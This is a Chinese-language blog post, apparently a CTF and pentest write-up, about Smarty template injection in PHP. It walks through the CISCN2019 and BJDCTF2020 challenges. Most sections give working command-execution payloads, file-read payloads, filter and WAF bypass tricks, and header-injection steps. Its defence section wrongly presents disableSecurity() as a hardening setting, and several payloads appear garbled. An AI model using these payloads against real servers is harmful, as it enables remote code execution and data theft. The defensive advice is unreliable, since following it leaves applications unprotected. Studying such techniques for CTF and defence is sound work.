1. 初识Smarty模板注入漏洞第一次接触Smarty模板注入是在2019年的某次CTF比赛中当时遇到一个显示用户IP地址的Web题目。页面底部标注着Build With Smarty这个提示让我意识到可能存在模板注入漏洞。通过修改X-Forwarded-For请求头我发现输入{7*7}会显示49这确认了SSTI漏洞的存在。Smarty作为PHP生态中广泛使用的模板引擎它的安全风险经常被开发者忽视。与Flask等框架的SSTI不同Smarty的利用方式有其独特之处。在实战中我注意到不同版本的Smarty对漏洞利用的影响很大。比如在3.1.30版本中传统的{php}标签已经失效这就需要我们寻找其他利用途径。2. Smarty SSTI漏洞确认技巧确认Smarty SSTI漏洞最直接的方法就是通过版本探测。在测试过程中我会先尝试输入{$smarty.version}来获取模板引擎版本。这个技巧在多次CTF比赛中都奏效比如在CISCN2019华东南赛区的Web11题目中就是用这个方法确认了Smarty 3.1.30版本。另一个实用的确认方法是使用简单的数学运算测试。比如输入{7*7}如果页面返回49就基本可以确定存在模板注入。我在实际渗透测试中还会尝试更复杂的表达式比如{system(whoami)}来验证命令执行的可能性。3. 不同Smarty版本的利用差异3.1 Smarty 2.x版本的利用在早期Smarty版本中{php}{/php}标签是最直接的利用方式。我曾在一些老旧系统中成功使用这个标签执行系统命令。例如{php}system(id);{/php}但需要注意的是从Smarty 3.0开始这个标签默认就被禁用了。3.2 Smarty 3.x版本的绕过技巧对于新版本Smarty我总结了几个有效的绕过方法使用{if}标签这是最可靠的利用方式之一。例如{if system(cat /etc/passwd)}{/if}这个技巧在PHP7环境下仍然有效我在多个CTF题目中都成功应用过。静态方法调用虽然getStreamVariable方法在新版本中已被移除但在某些中间版本中仍可使用{self::getStreamVariable(file:///etc/passwd)}{literal}标签利用针对PHP5环境可以尝试{literal}script languagephpphpinfo();/script{/literal}4. 实战中的高级绕过技巧在真实环境渗透测试中我遇到过各种过滤机制。这里分享几个实用的绕过方法字符串拼接当大括号被过滤时可以使用{system|cat:(id)}变量函数调用通过变量动态调用函数{$smarty.version|system:id}编码绕过使用hex或base64编码{if system(base64_decode(bHMgLWxh))}{/if}最近在某个CTF比赛中我遇到了一个过滤了system函数的场景。最终通过以下payload成功绕过{if passthru(cat /flag)}{/if}5. 漏洞原理深度分析Smarty SSTI漏洞的核心原因在于开发者直接将用户输入拼接到了模板字符串中。例如题目中的这行代码$smarty-display(string:.$ip);这种写法使得攻击者注入的Smarty标签会被引擎解析执行。我在审计代码时特别关注以下几个危险函数display() 或 fetch() 直接处理用户输入使用字符串拼接构造模板未对用户输入进行适当过滤正确的做法应该是$smarty-assign(ip, htmlspecialchars($ip)); $smarty-display(template.tpl);6. 防御措施与最佳实践根据多年实战经验我总结出以下防御方案输入过滤对所有用户输入进行严格过滤移除或转义特殊字符function filterSmarty($input) { return preg_replace(/[{}]/, , $input); }安全配置在Smarty配置中禁用危险功能$smarty-disableSecurity();最小权限原则运行PHP进程的用户应该只有必要的最小权限版本升级及时更新到最新版本Smarty修复已知漏洞在开发过程中我建议使用模板继承等安全特性而不是直接拼接用户输入。同时定期进行安全审计和渗透测试也很重要。7. CTF实战案例解析让我们深入分析两个典型CTF题目7.1 CISCN2019 Web11这个题目展示了经典的Smarty SSTI利用场景。通过以下步骤可以获取flag修改X-Forwarded-For头为{system(ls)}列出目录发现flag文件后使用{system(cat /flag)}读取内容关键漏洞代码$smarty-display(string:.$_SERVER[HTTP_X_FORWARDED_FOR]);7.2 BJDCTF2020 The mystery of ip这个题目更加隐蔽需要先发现IP地址可控然后测试SSTI。我当时的解题过程尝试XSS注入未果测试{7*7}确认SSTI使用{if system(ls)}{/if}列出文件最终通过{if system(cat /flag)}{/if}获取flag漏洞代码与前一题类似都是直接将HTTP头拼接到模板字符串中。8. 从CTF到真实世界的思考虽然这些案例来自CTF比赛但我在实际渗透测试中也遇到过类似的漏洞。某次对客户系统的审计中发现了一个通过用户代理(User-Agent)头触发的Smarty注入。攻击者可以构造恶意User-Agent来执行任意代码。真实环境与CTF的主要区别在于通常会有更多层的过滤和防护需要更隐蔽的攻击方式避免触发WAF需要考虑权限提升和持久化的问题建议开发者在代码审查时特别注意所有将用户输入传递给模板引擎的地方包括但不限于HTTP头信息URL参数表单输入Cookie数据数据库存储的内容通过多年的安全研究我发现模板注入漏洞的危害常常被低估。一个看似简单的Smarty标签注入可能导致整个服务器沦陷。因此理解这些漏洞的原理和利用方式对于开发安全的PHP应用至关重要。